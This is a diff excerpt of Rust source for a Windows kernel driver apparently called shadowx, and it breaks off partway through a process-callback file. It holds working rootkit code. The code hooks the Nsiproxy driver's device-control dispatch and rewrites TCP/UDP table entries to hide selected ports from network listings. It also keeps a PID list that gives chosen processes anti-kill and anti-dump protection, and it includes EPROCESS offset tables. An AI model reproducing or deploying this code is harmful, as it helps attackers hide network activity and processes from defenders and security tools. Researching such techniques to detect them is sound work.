||||||
|
///
|
||||||
|
/// * The offset (in bytes) to the thread list entry in the `EPROCESS` structure.
|
||||||
|
#[inline]
|
||||||
|
pub fn get_thread_lock_offset() -> isize {
|
||||||
|
match *BUILD_NUMBER {
|
||||||
|
WIN_1507 | WIN_1511 => 0x690,
|
||||||
|
WIN_1607 => 0x698,
|
||||||
|
WIN_1703 => 0x6a0,
|
||||||
|
WIN_1709 | WIN_1803 | WIN_1809 => 0x6a8,
|
||||||
|
WIN_1903 | WIN_1909 => 0x6b8,
|
||||||
|
WIN_2004 | WIN_20H2 | WIN_21H1 | WIN_21H2 => 0x4e8,
|
||||||
|
WIN_22H2 => 0x500,
|
||||||
|
_ => 0x538
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Retrieves the thread lock offset based on the current Windows build number.
|
||||||
|
///
|
||||||
|
/// This function returns the offset for the thread lock field in the `EPROCESS` structure.
|
||||||
|
/// The thread lock is used to synchronize access to the list of threads within a process,
|
||||||
|
/// ensuring thread-safe operations when managing process threads.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * The offset (in bytes) to the thread lock field in the `EPROCESS` structure.
|
||||||
|
#[inline]
|
||||||
|
pub fn get_thread_list_entry_offset() -> isize {
|
||||||
|
match *BUILD_NUMBER {
|
||||||
|
WIN_1507 => 0x480,
|
||||||
|
WIN_1511 | WIN_1607 | WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809
|
||||||
|
| WIN_1903 | WIN_1909 => 0x488,
|
||||||
|
WIN_22H2 => 0x4e8,
|
||||||
|
_ => 0x5e0
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Retrieves the Windows build number using the `RtlGetVersion` API.
|
||||||
|
///
|
||||||
|
/// This function calls the `RtlGetVersion` kernel API to retrieve information about the OS version,
|
||||||
|
/// including the build number. It is used to determine which Windows version the code is running on.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * The Windows build number or `0` if the call to `RtlGetVersion` fails.
|
||||||
|
pub fn get_windows_build_number() -> u32 {
|
||||||
|
unsafe {
|
||||||
|
let mut os_info: RTL_OSVERSIONINFOW = core::mem::zeroed();
|
||||||
|
if RtlGetVersion(&mut os_info) == 0 {
|
||||||
|
return os_info.dwBuildNumber;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
0
|
||||||
|
}
|
||||||
526
crates/shadowx/src/port.rs
Normal file
526
crates/shadowx/src/port.rs
Normal file
@@ -0,0 +1,526 @@
|
|||||||
|
use {
|
||||||
|
alloc::vec::Vec,
|
||||||
|
log::{error, warn},
|
||||||
|
spin::{Mutex, lazy::Lazy},
|
||||||
|
wdk_sys::{
|
||||||
|
*,
|
||||||
|
_MODE::KernelMode,
|
||||||
|
ntddk::{ExFreePool, ObfDereferenceObject, ProbeForRead},
|
||||||
|
},
|
||||||
|
core::{
|
||||||
|
ptr::{null_mut, copy},
|
||||||
|
sync::atomic::{AtomicPtr, Ordering, AtomicBool},
|
||||||
|
ffi::c_void, mem::size_of, slice::from_raw_parts_mut,
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
use {
|
||||||
|
common::{
|
||||||
|
vars::MAX_PORT,
|
||||||
|
structs::TargetPort,
|
||||||
|
enums::{PortType, Protocol},
|
||||||
|
},
|
||||||
|
crate::{
|
||||||
|
error::ShadowError,
|
||||||
|
utils::{
|
||||||
|
pool::PoolMemory, uni::str_to_unicode,
|
||||||
|
valid_kernel_memory, valid_user_memory,
|
||||||
|
},
|
||||||
|
data::{
|
||||||
|
COMUNICATION_TYPE,
|
||||||
|
ObReferenceObjectByName, IoDriverObjectType,
|
||||||
|
NSI_UDP_ENTRY, NSI_PARAM, NSI_TABLE_TCP_ENTRY,
|
||||||
|
NSI_STATUS_ENTRY, NSI_PROCESS_ENTRY
|
||||||
|
},
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Holds the original NSI dispatch function, used to store the original pointer before hooking.
|
||||||
|
static mut ORIGINAL_NSI_DISPATCH: AtomicPtr<()> = AtomicPtr::new(null_mut());
|
||||||
|
|
||||||
|
/// Indicates whether the callback has been activated.
|
||||||
|
pub static HOOK_INSTALLED: AtomicBool = AtomicBool::new(false);
|
||||||
|
|
||||||
|
/// List of protected ports, synchronized with a mutex.
|
||||||
|
///
|
||||||
|
/// This static variable holds the list of protected network ports, using a `Mutex` to ensure
|
||||||
|
/// thread-safe access. It is initialized with a capacity of `MAX_PORT`.
|
||||||
|
pub static PROTECTED_PORTS: Lazy<Mutex<Vec<TargetPort>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(100)));
|
||||||
|
|
||||||
|
/// Represents a Port structure used for hooking into the NSI proxy driver and intercepting network information.
|
||||||
|
pub struct Port;
|
||||||
|
|
||||||
|
impl Port {
|
||||||
|
/// Control code for the NSI communication.
|
||||||
|
const NIS_CONTROL_CODE: u32 = 1179675;
|
||||||
|
|
||||||
|
/// Network driver name.
|
||||||
|
const NSI_PROXY: &str = "\\Driver\\Nsiproxy";
|
||||||
|
|
||||||
|
/// Installs a hook into the NSI proxy driver to intercept network table operations.
|
||||||
|
///
|
||||||
|
/// This function installs a hook into the NSI proxy driver by replacing the `IRP_MJ_DEVICE_CONTROL`
|
||||||
|
/// dispatch function with a custom hook (`hook_nsi`). It stores the original function in a static
|
||||||
|
/// atomic pointer for later restoration.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(NTSTATUS)` - If the hook is installed successfully.
|
||||||
|
/// * `Err(ShadowError)` - If the hook installation fails or no valid dispatch function is found.
|
||||||
|
pub unsafe fn install_hook() -> Result<NTSTATUS, ShadowError> {
|
||||||
|
let mut driver_object: *mut DRIVER_OBJECT = null_mut();
|
||||||
|
let status = ObReferenceObjectByName(
|
||||||
|
&mut str_to_unicode(Self::NSI_PROXY).to_unicode(),
|
||||||
|
OBJ_CASE_INSENSITIVE,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
*IoDriverObjectType,
|
||||||
|
KernelMode as i8,
|
||||||
|
null_mut(),
|
||||||
|
&mut driver_object as *mut _ as *mut *mut core::ffi::c_void
|
||||||
|
);
|
||||||
|
|
||||||
|
// Check if the driver object was referenced successfully.
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
return Err(ShadowError::ApiCallFailed("ObReferenceObjectByName", status))
|
||||||
|
}
|
||||||
|
|
||||||
|
// Try to replace the original IRP_MJ_DEVICE_CONTROL dispatch function.
|
||||||
|
let major_function = &mut (*driver_object).MajorFunction[IRP_MJ_DEVICE_CONTROL as usize];
|
||||||
|
if let Some(original_function) = major_function.take() {
|
||||||
|
// Store the original dispatch function.
|
||||||
|
let original_function_ptr = original_function as *mut ();
|
||||||
|
ORIGINAL_NSI_DISPATCH.store(original_function_ptr, Ordering::SeqCst);
|
||||||
|
|
||||||
|
// Replace the dispatch function with the hook.
|
||||||
|
*major_function = Some(Self::hook_nsi);
|
||||||
|
HOOK_INSTALLED.store(true, Ordering::SeqCst);
|
||||||
|
} else {
|
||||||
|
ObfDereferenceObject(driver_object as _);
|
||||||
|
return Err(ShadowError::HookFailure);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Dereference the driver object after setting up the hook.
|
||||||
|
ObfDereferenceObject(driver_object as _);
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Uninstalls the NSI hook, restoring the original dispatch function.
|
||||||
|
///
|
||||||
|
/// This function uninstalls the previously installed NSI hook, restoring the original dispatch
|
||||||
|
/// function that was replaced.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(NTSTATUS)` - If the hook was successfully uninstalled.
|
||||||
|
/// * `Err(ShadowError)` - If the hook was not installed or if the uninstall operation failed.
|
||||||
|
pub unsafe fn uninstall_hook() -> Result<NTSTATUS, ShadowError> {
|
||||||
|
let mut driver_object: *mut DRIVER_OBJECT = null_mut();
|
||||||
|
let status = ObReferenceObjectByName(
|
||||||
|
&mut str_to_unicode(Self::NSI_PROXY).to_unicode(),
|
||||||
|
OBJ_CASE_INSENSITIVE,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
*IoDriverObjectType,
|
||||||
|
KernelMode as i8,
|
||||||
|
null_mut(),
|
||||||
|
&mut driver_object as *mut _ as *mut *mut c_void,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Handle error if the driver object can't be referenced.
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
return Err(ShadowError::ApiCallFailed("ObReferenceObjectByName", status))
|
||||||
|
}
|
||||||
|
|
||||||
|
// If the hook is installed, restore the original dispatch function.
|
||||||
|
if HOOK_INSTALLED.load(Ordering::SeqCst) {
|
||||||
|
let major_function = &mut (*driver_object).MajorFunction[IRP_MJ_DEVICE_CONTROL as usize];
|
||||||
|
|
||||||
|
let original_function_ptr = ORIGINAL_NSI_DISPATCH.load(Ordering::SeqCst);
|
||||||
|
if !original_function_ptr.is_null() {
|
||||||
|
let original_function: PDRIVER_DISPATCH = core::mem::transmute(original_function_ptr);
|
||||||
|
*major_function = original_function;
|
||||||
|
|
||||||
|
HOOK_INSTALLED.store(false, Ordering::SeqCst);
|
||||||
|
} else {
|
||||||
|
ObfDereferenceObject(driver_object as _);
|
||||||
|
return Err(ShadowError::HookFailure);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
ObfDereferenceObject(driver_object as _);
|
||||||
|
return Err(ShadowError::HookFailure);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Dereference the driver object after removing the hook.
|
||||||
|
ObfDereferenceObject(driver_object as _);
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Hooked dispatch function that intercepts NSI proxy requests and modifies network table entries.
|
||||||
|
///
|
||||||
|
/// This function intercepts network requests (IRPs) sent to the NSI proxy driver when the control
|
||||||
|
/// code matches `NIS_CONTROL_CODE`. It replaces the completion routine with a custom handler
|
||||||
|
/// to inspect and potentially modify network entries.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `device_object` - Pointer to the device object associated with the request.
|
||||||
|
/// * `irp` - Pointer to the IRP (I/O Request Packet) being processed.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * The result of the original dispatch function, or `STATUS_UNSUCCESSFUL` if the hook fails.
|
||||||
|
unsafe extern "C" fn hook_nsi(device_object: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
|
||||||
|
let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation;
|
||||||
|
let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode;
|
||||||
|
|
||||||
|
// If the control code matches, we replace the completion routine with a custom one.
|
||||||
|
if control_code == Self::NIS_CONTROL_CODE {
|
||||||
|
let context = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::<(PIO_COMPLETION_ROUTINE, *mut c_void)>() as u64, u32::from_be_bytes(*b"giud"));
|
||||||
|
if let Some(addr) = context {
|
||||||
|
let address = addr.ptr as *mut (PIO_COMPLETION_ROUTINE, *mut c_void);
|
||||||
|
(*address).0 = (*stack).CompletionRoutine;
|
||||||
|
(*address).1 = (*stack).Context;
|
||||||
|
|
||||||
|
(*stack).Context = address as *mut c_void;
|
||||||
|
(*stack).CompletionRoutine = Some(Self::irp_complete);
|
||||||
|
(*stack).Control |= SL_INVOKE_ON_SUCCESS as u8;
|
||||||
|
|
||||||
|
// Prevent memory deallocation.
|
||||||
|
core::mem::forget(addr);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Call the original dispatch function.
|
||||||
|
let original_function_ptr = ORIGINAL_NSI_DISPATCH.load(Ordering::SeqCst);
|
||||||
|
let original_function: PDRIVER_DISPATCH = core::mem::transmute(original_function_ptr);
|
||||||
|
|
||||||
|
original_function.map_or(STATUS_UNSUCCESSFUL, |func| func(device_object, irp))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Completion routine that modifies network table entries after an NSI operation.
|
||||||
|
///
|
||||||
|
/// This function is called when the IRP operation completes, and it processes the network
|
||||||
|
/// table entries (TCP/UDP) to inspect or modify them. It then calls the original completion
|
||||||
|
/// routine, passing the results of the modified entries back to the caller.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `device_object` - Pointer to the device object associated with the IRP.
|
||||||
|
/// * `irp` - Pointer to the IRP being completed.
|
||||||
|
/// * `context` - Pointer to the context, containing the original completion routine and its arguments.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * Returns the result of the original completion routine, or `STATUS_SUCCESS` if processing was successful.
|
||||||
|
unsafe extern "C" fn irp_complete(
|
||||||
|
device_object: *mut DEVICE_OBJECT,
|
||||||
|
irp: *mut IRP,
|
||||||
|
context: *mut c_void
|
||||||
|
) -> NTSTATUS {
|
||||||
|
let context_addr = context as *mut (PIO_COMPLETION_ROUTINE, *mut c_void);
|
||||||
|
|
||||||
|
// Validate the status of the IRP.
|
||||||
|
if NT_SUCCESS((*irp).IoStatus.__bindgen_anon_1.Status) {
|
||||||
|
let nsi_param = (*irp).UserBuffer as *mut NSI_PARAM;
|
||||||
|
let mut status_success = true;
|
||||||
|
|
||||||
|
// Ensure that the NSI parameter is valid and the context can be accessed.
|
||||||
|
if !valid_user_memory(nsi_param as u64) && !PortUtils::validate_context(nsi_param as _) {
|
||||||
|
status_success = false;
|
||||||
|
} else if valid_kernel_memory(nsi_param as u64) || nsi_param.is_null() {
|
||||||
|
status_success = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// If the entries are valid, process them.
|
||||||
|
if status_success && !(*nsi_param).Entries.is_null() && (*nsi_param).EntrySize != 0 {
|
||||||
|
let tcp_entries = (*nsi_param).Entries as *mut NSI_TABLE_TCP_ENTRY;
|
||||||
|
let udp_entries = (*nsi_param).Entries as *mut NSI_UDP_ENTRY;
|
||||||
|
|
||||||
|
// Loop through all entries in the NSI parameter.
|
||||||
|
for i in 0..(*nsi_param).Count {
|
||||||
|
match (*nsi_param).Type_ {
|
||||||
|
COMUNICATION_TYPE::TCP => {
|
||||||
|
if valid_user_memory((*tcp_entries.add(i)).Local.Port as u64)
|
||||||
|
|| valid_user_memory((*tcp_entries.add(i)).Remote.Port as u64) {
|
||||||
|
|
||||||
|
// Convert the port numbers from big-endian to the host's native format.
|
||||||
|
let local_port = u16::from_be((*tcp_entries.add(i)).Local.Port);
|
||||||
|
let remote_port = u16::from_be((*tcp_entries.add(i)).Remote.Port);
|
||||||
|
|
||||||
|
// Process the TCP entry by copying it into the NSI table, updating ports if necessary.
|
||||||
|
PortUtils::process_entry_copy(
|
||||||
|
tcp_entries,
|
||||||
|
(*nsi_param).Count,
|
||||||
|
i,
|
||||||
|
local_port,
|
||||||
|
Some(remote_port),
|
||||||
|
Protocol::TCP,
|
||||||
|
(*nsi_param).StatusEntries,
|
||||||
|
(*nsi_param).ProcessEntries,
|
||||||
|
nsi_param,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
},
|
||||||
|
COMUNICATION_TYPE::UDP => {
|
||||||
|
// Check if the UDP local port is a valid user-mode memory address.
|
||||||
|
if valid_user_memory((*udp_entries.add(i)).Port as u64) {
|
||||||
|
|
||||||
|
// Convert the local port number from big-endian to the host's native format.
|
||||||
|
let local_port = u16::from_be((*udp_entries.add(i)).Port);
|
||||||
|
|
||||||
|
// Process the UDP entry by copying it into the NSI table, updating ports if necessary.
|
||||||
|
PortUtils::process_entry_copy(
|
||||||
|
udp_entries,
|
||||||
|
(*nsi_param).Count,
|
||||||
|
i,
|
||||||
|
local_port,
|
||||||
|
None,
|
||||||
|
Protocol::UDP,
|
||||||
|
(*nsi_param).StatusEntries,
|
||||||
|
(*nsi_param).ProcessEntries,
|
||||||
|
nsi_param,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Call the original completion routine if one exists.
|
||||||
|
if let Some(original_routine) = (*context_addr).0 {
|
||||||
|
let mut original_context = null_mut();
|
||||||
|
|
||||||
|
if !(*context_addr).1.is_null() {
|
||||||
|
original_context = (*context_addr).1;
|
||||||
|
}
|
||||||
|
|
||||||
|
ExFreePool(context as *mut _);
|
||||||
|
return original_routine(device_object, irp, original_context);
|
||||||
|
}
|
||||||
|
|
||||||
|
ExFreePool(context as *mut _);
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Utility struct for network-related operations, such as validating memory and handling NSI table entries.
|
||||||
|
pub struct PortUtils;
|
||||||
|
|
||||||
|
impl PortUtils {
|
||||||
|
/// Validates a memory address to ensure it can be safely accessed from kernel mode.
|
||||||
|
///
|
||||||
|
/// This function uses `ProbeForRead` to check whether a memory address is valid and accessible.
|
||||||
|
/// It wraps the operation in a Structured Exception Handling (SEH) block to catch and log any exceptions.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `address` - The memory address to validate.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * Return `true` if the address is valid and accessible or `false` if an exception occurs while probing the address.
|
||||||
|
unsafe fn validate_context(address: *mut c_void) -> bool {
|
||||||
|
let result = microseh::try_seh(|| {
|
||||||
|
ProbeForRead(address, size_of::<NSI_PARAM>() as u64, size_of::<NSI_PARAM>() as u32);
|
||||||
|
});
|
||||||
|
|
||||||
|
match result {
|
||||||
|
Ok(_) => true,
|
||||||
|
Err(err) => {
|
||||||
|
error!("Exception when trying to read the address: {:?}", err.code());
|
||||||
|
false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Copies network table entries (TCP/UDP) from one index to another and updates associated status
|
||||||
|
/// and process entries if necessary.
|
||||||
|
///
|
||||||
|
/// This function is used to modify NSI (Network Store Interface) table entries during a network
|
||||||
|
/// hook operation. It copies TCP/UDP entries, status entries, and process entries, effectively
|
||||||
|
/// "hiding" specific network ports.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `entries` - A pointer to the list of TCP or UDP entries. The type is generic (`T`), and the pointer must be safely dereferenced.
|
||||||
|
/// * `count` - The total number of entries in the table. Defines the size of the `entries` buffer.
|
||||||
|
/// * `i` - The index of the current entry being processed.
|
||||||
|
/// * `local_port` - The local port number associated with the current entry.
|
||||||
|
/// * `remote_port` - An `Option<u16>` that may contain the remote port number associated with the current entry, or `None`.
|
||||||
|
/// * `protocol` - The protocol type (TCP or UDP) being processed for this entry.
|
||||||
|
/// * `status_entries` - A pointer to the list of status entries related to the network connections.
|
||||||
|
/// * `process_entries` - A pointer to the list of process entries related to the network connections.
|
||||||
|
/// * `nsi_param` - A pointer to the `NSI_PARAM` structure, which contains information about the network table.
|
||||||
|
unsafe fn process_entry_copy<T: Sized>(
|
||||||
|
entries: *mut T,
|
||||||
|
count: usize,
|
||||||
|
i: usize,
|
||||||
|
local_port: u16,
|
||||||
|
remote_port: Option<u16>,
|
||||||
|
protocol: Protocol,
|
||||||
|
status_entries: *mut NSI_STATUS_ENTRY,
|
||||||
|
process_entries: *mut NSI_PROCESS_ENTRY,
|
||||||
|
nsi_param: *mut NSI_PARAM
|
||||||
|
) {
|
||||||
|
let port_number = match (local_port, remote_port) {
|
||||||
|
(0, Some(remote)) if remote != 0 => remote, // Use remote port if local is zero.
|
||||||
|
(local, _) if local != 0 => local, // Use local port if it's non-zero.
|
||||||
|
_ => {
|
||||||
|
warn!("Both doors are zero, there is no way to process the entrance.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
let port_type = if remote_port.unwrap_or(0) != 0 {
|
||||||
|
PortType::REMOTE
|
||||||
|
} else {
|
||||||
|
PortType::LOCAL
|
||||||
|
};
|
||||||
|
|
||||||
|
let info = TargetPort {
|
||||||
|
protocol,
|
||||||
|
port_type,
|
||||||
|
port_number,
|
||||||
|
enable: true,
|
||||||
|
};
|
||||||
|
|
||||||
|
// If the port is protected, modify the network entries.
|
||||||
|
if check_port(info) {
|
||||||
|
let mut entries_index = i + 1;
|
||||||
|
if entries_index >= count {
|
||||||
|
entries_index = i - 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Copies TCP/UDP entries.
|
||||||
|
let entries_slice = from_raw_parts_mut(entries, count);
|
||||||
|
copy(
|
||||||
|
&entries_slice[entries_index],
|
||||||
|
&mut entries_slice[i],
|
||||||
|
count - entries_index,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Verify and copy status_entries.
|
||||||
|
if !status_entries.is_null() {
|
||||||
|
let status_entries_slice = from_raw_parts_mut(status_entries, count);
|
||||||
|
if entries_index < status_entries_slice.len() {
|
||||||
|
copy(
|
||||||
|
&status_entries_slice[entries_index],
|
||||||
|
&mut status_entries_slice[i],
|
||||||
|
count - entries_index,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check and copy process_entries.
|
||||||
|
if !process_entries.is_null() {
|
||||||
|
let process_entries_slice = from_raw_parts_mut(process_entries, count);
|
||||||
|
if entries_index < process_entries_slice.len() {
|
||||||
|
copy(
|
||||||
|
&process_entries_slice[entries_index],
|
||||||
|
&mut process_entries_slice[i],
|
||||||
|
count - entries_index,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Toggles the addition or removal of a port from the list of protected ports.
|
||||||
|
///
|
||||||
|
/// If the `enable` flag in the `TargetPort` is `true`, the port is added to the list of protected ports.
|
||||||
|
/// Otherwise, the port is removed from the list.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `port` - A mutable pointer to a `TargetPort` structure, containing information about the port
|
||||||
|
/// to be added or removed.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
///
|
||||||
|
/// * Returns `STATUS_SUCCESS` if the operation is completed successfully or
|
||||||
|
/// `STATUS_UNSUCCESSFUL` if the operation fails (e.g., the port list is full or the port couldn't be removed).
|
||||||
|
pub fn add_remove_port_toggle(port: *mut TargetPort) -> NTSTATUS {
|
||||||
|
if (unsafe { *port }).enable {
|
||||||
|
add_target_port(port)
|
||||||
|
} else {
|
||||||
|
remove_target_port(port)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Adds a port to the list of protected ports.
|
||||||
|
///
|
||||||
|
/// This function locks the `PROTECTED_PORTS` list and tries to add the given `TargetPort`.
|
||||||
|
/// If the port is already in the list or the list is full, the operation will fail.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `port` - A mutable pointer to a `TargetPort` structure, containing the port information to be added.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
///
|
||||||
|
/// * Returns `STATUS_SUCCESS` if the port is successfully added to the list.
|
||||||
|
/// * Returns `STATUS_DUPLICATE_OBJECTID` if the port already exists in the list.
|
||||||
|
/// * Returns `STATUS_UNSUCCESSFUL` if the port list is full or the operation fails.
|
||||||
|
fn add_target_port(port: *mut TargetPort) -> NTSTATUS {
|
||||||
|
let mut ports = PROTECTED_PORTS.lock();
|
||||||
|
let port = unsafe { *port };
|
||||||
|
|
||||||
|
if ports.len() >= MAX_PORT {
|
||||||
|
return STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ports.contains(&port) {
|
||||||
|
return STATUS_DUPLICATE_OBJECTID;
|
||||||
|
}
|
||||||
|
|
||||||
|
ports.push(port);
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Removes a port from the list of protected ports.
|
||||||
|
///
|
||||||
|
/// This function locks the `PROTECTED_PORTS` list and attempts to remove the specified `TargetPort`.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `port` - A mutable pointer to a `TargetPort` structure, containing the port information to be removed.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
///
|
||||||
|
/// * Returns `STATUS_SUCCESS` if the port is successfully removed from the list
|
||||||
|
/// or `STATUS_UNSUCCESSFUL` if the port is not found in the list.
|
||||||
|
fn remove_target_port(port: *mut TargetPort) -> NTSTATUS {
|
||||||
|
let mut ports = PROTECTED_PORTS.lock();
|
||||||
|
(unsafe { *port }).enable = true;
|
||||||
|
|
||||||
|
if let Some(index) = ports.iter().position(|&p| {
|
||||||
|
p.protocol == (unsafe { *port }).protocol
|
||||||
|
&& p.port_type == (unsafe { *port }).port_type
|
||||||
|
&& p.port_number == (unsafe { *port }).port_number
|
||||||
|
}) {
|
||||||
|
ports.remove(index);
|
||||||
|
STATUS_SUCCESS
|
||||||
|
} else {
|
||||||
|
error!("Port {:?} not found in the list", port);
|
||||||
|
STATUS_UNSUCCESSFUL
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Checks if a port is in the list of protected ports.
|
||||||
|
///
|
||||||
|
/// This function locks the `PROTECTED_PORTS` list and checks whether the given port is in the list.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `port` - A `TargetPort` structure that represents the port to be checked.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
///
|
||||||
|
/// * Returns `true` if the port is in the protected list, otherwise returns `false`.
|
||||||
|
pub fn check_port(port: TargetPort) -> bool {
|
||||||
|
PROTECTED_PORTS.lock().contains(&port)
|
||||||
|
}
|
||||||
127
crates/shadowx/src/process/callback.rs
Normal file
127
crates/shadowx/src/process/callback.rs
Normal file
@@ -0,0 +1,127 @@
|
|||||||
|
use {
|
||||||
|
alloc::vec::Vec,
|
||||||
|
spin::{Lazy, Mutex},
|
||||||
|
common::{
|
||||||
|
structs::TargetProcess,
|
||||||
|
vars::MAX_PID
|
||||||
|
},
|
||||||
|
winapi::um::winnt::{
|
||||||
|
PROCESS_CREATE_THREAD, PROCESS_TERMINATE,
|
||||||
|
PROCESS_VM_OPERATION, PROCESS_VM_READ
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
use wdk_sys::{
|
||||||
|
STATUS_UNSUCCESSFUL,
|
||||||
|
PEPROCESS, PROCESS_DUP_HANDLE,
|
||||||
|
ntddk::PsGetProcessId, STATUS_QUOTA_EXCEEDED,
|
||||||
|
NTSTATUS, OB_PRE_OPERATION_INFORMATION,
|
||||||
|
STATUS_DUPLICATE_OBJECTID, STATUS_SUCCESS,
|
||||||
|
_OB_PREOP_CALLBACK_STATUS::{OB_PREOP_SUCCESS, Type}
|
||||||
|
};
|
||||||
|
|
||||||
|
pub struct ProcessCallback;
|
||||||
|
|
||||||
|
/// Handle for the process callback registration.
|
||||||
|
pub static mut CALLBACK_REGISTRATION_HANDLE_PROCESS: *mut core::ffi::c_void = core::ptr::null_mut();
|
||||||
|
|
||||||
|
/// List of target PIDs protected by a mutex.
|
||||||
|
static TARGET_PIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(||
|
||||||
|
Mutex::new(Vec::with_capacity(MAX_PID))
|
||||||
|
);
|
||||||
|
|
||||||
|
impl ProcessCallback {
|
||||||
|
/// Method for adding the list of processes that will have anti-kill / dumping protection.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `pid` - The identifier of the target process (PID) to be hidden.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * A status code indicating the success or failure of the operation.
|
||||||
|
pub fn add_target_pid(pid: usize) -> NTSTATUS {
|
||||||
|
let mut pids = TARGET_PIDS.lock();
|
||||||
|
|
||||||
|
if pids.len() >= MAX_PID {
|
||||||
|
return STATUS_QUOTA_EXCEEDED;
|
||||||
|
}
|
||||||
|
|
||||||
|
if pids.contains(&pid) {
|
||||||
|
return STATUS_DUPLICATE_OBJECTID;
|
||||||
|
}
|
||||||
|
|
||||||
|
pids.push(pid);
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Method for removing the list of processes that will have anti-kill / dumping protection.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `pid` - The identifier of the target process (PID) to be hidden.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * A status code indicating the success or failure of the operation.
|
||||||
|
pub fn remove_target_pid(pid: usize) -> NTSTATUS {
|
||||||
|
let mut pids = TARGET_PIDS.lock();
|
||||||
|
|
||||||
|
if let Some(index) = pids.iter().position(|&x| x == pid) {
|
||||||
|
pids.remove(index);
|
||||||
|
STATUS_SUCCESS
|
||||||
|
} else {
|
||||||
|
STATUS_UNSUCCESSFUL
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enumerate Processes Protect.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * A status code indicating success or failure of the operation.
|
||||||
|
pub unsafe fn enumerate_protection_processes() -> Vec<TargetProcess> {
|
||||||
|
let mut processes: Vec<TargetProcess> = Vec::new();
|
||||||
|
let process_info = TARGET_PIDS.lock();
|
||||||
|
for i in process_info.iter() {
|
||||||
|
processes.push(TargetProcess {
|
||||||
|
pid: *i,
|
||||||
|
..Default::default()
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
